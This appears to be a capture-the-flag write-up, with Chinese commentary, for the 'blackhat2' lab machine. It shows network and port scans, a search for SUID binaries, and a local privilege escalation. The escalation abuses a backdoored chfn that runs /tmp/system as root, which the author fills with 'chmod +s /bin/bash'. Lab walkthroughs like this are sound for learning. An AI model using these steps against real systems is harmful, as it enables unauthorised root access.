❯ sudo arp-scan -l [sudo] password for Pepster: Interface: eth0, type: EN10MB, MAC: 5e:bb:f6:9e:ee:fa, IPv4: 192.168.60.100 Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.60.1 00:50:56:c0:00:08 VMware, Inc. 192.168.60.2 00:50:56:e4:1a:e5 VMware, Inc. 192.168.60.164 08:00:27:32:51:be PCS Systemtechnik GmbH 192.168.60.254 00:50:56:e0:e5:17 VMware, Inc.
4 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 2.063 seconds (124.09 hosts/sec). 4 responded ❯ export ip=192.168.60.164 ❯ rustscan -a $ip .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- RustScan: Because guessing isn't hacking.
[~] The config file is expected to be at "/home/Pepster/.rustscan.toml" [!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers [!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. Open 192.168.60.164:22 Open 192.168.60.164:80 [~] Starting Script(s) [~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-29 10:31 CST Initiating ARP Ping Scan at 10:31 Scanning 192.168.60.164 [1 port] Completed ARP Ping Scan at 10:31, 0.06s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 10:31 Completed Parallel DNS resolution of 1 host. at 10:31, 0.01s elapsed DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 10:31 Scanning 192.168.60.164 [2 ports] Discovered open port 80/tcp on 192.168.60.164 Discovered open port 22/tcp on 192.168.60.164 Completed SYN Stealth Scan at 10:31, 0.05s elapsed (2 total ports) Nmap scan report for 192.168.60.164 Host is up, received arp-response (0.00038s latency). Scanned at 2025-04-29 10:31:46 CST for 0s PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 80/tcp open http syn-ack ttl 64 MAC Address: 08:00:27:32:51:BE (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.32 seconds Raw packets sent: 3 (116B) | Rcvd: 3 (116B)
www-data@blackhat2:/home$ dpkg --verify missing c /etc/apache2/sites-available/000-default.conf missing c /etc/apache2/sites-available/default-ssl.conf ??5?????? c /etc/grub.d/10_linux ??5?????? /usr/bin/chfn www-data@blackhat2:/home$ find / -perm -u=s -type f 2>/dev/null /usr/lib/openssh/ssh-keysign /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/bin/passwd /usr/bin/newgrp /usr/bin/su /usr/bin/mount /usr/bin/chfn /usr/bin/chsh /usr/bin/gpasswd /usr/bin/umount www-data@blackhat2:/home$ ls -al /usr/bin/chfn -rwsr-xr-x 1 root root 169256 Feb 12 2023 /usr/bin/chfn
传到本地分析一下
1 2 3 4
[!] Session detached ⇲
(Penelope)─(Session [1])> download /usr/bin/chfn [+] Download OK '/home/Pepster/.penelope/blackhat2.hmv~192.168.60.164_Linux_x86_64/downloads/usr/bin/chfn'
可以看到通过setgid(0)和setuid(0)将进程的组ID、用户ID设置为0（root）
然后利用system调用执行/tmp/system，并通过nohup和重定向将其放到后台运行
所以我们在tmp目录中创建system并且写入命令
1 2 3 4 5 6 7
www-data@blackhat2:/home$ cd /tmp/ www-data@blackhat2:/tmp$ echo"chmod +s /bin/bash">system www-data@blackhat2:/tmp$ chmod +x system www-data@blackhat2:/tmp$ /usr/bin/chfn Changing the user information for root Enter the new value, or press ENTER for the default Full Name [root]: ^C
